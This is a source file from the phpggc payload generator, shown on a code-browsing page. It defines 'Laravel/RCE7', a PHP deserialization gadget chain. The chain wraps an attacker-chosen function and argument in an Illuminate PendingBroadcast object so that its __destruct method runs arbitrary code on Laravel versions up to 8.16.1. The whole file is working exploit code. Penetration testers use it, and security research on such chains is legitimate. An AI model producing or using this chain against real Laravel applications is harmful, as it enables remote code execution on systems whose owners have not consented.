Codebase list phpggc / run/083a382e-b92d-43f9-aefd-3e8bf24915cb/main gadgetchains / Laravel / RCE / 7 / chain.php
run/083a382e-b92d-43f9-aefd-3e8bf24915cb/main

Tree @run/083a382e-b92d-43f9-aefd-3e8bf24915cb/main (Download .tar.gz)

chain.php @run/083a382e-b92d-43f9-aefd-3e8bf24915cb/mainraw · history · blame

<?php

namespace GadgetChain\Laravel;

class RCE7 extends \PHPGGC\GadgetChain\RCE\FunctionCall
{
    public static $version = '? <= 8.16.1'; // will test for more version at a later date
    public static $vector = '__destruct';
    public static $author = 'whira';
    public static $information = 'This chain throws a RuntimeException immediately after code execution.';

    public function generate(array $parameters)
    {
        $function = $parameters['function'];
        $parameter = $parameters['parameter'];

        return new \Illuminate\Broadcasting\PendingBroadcast(
            $function, 
            $parameter
        );
    }
}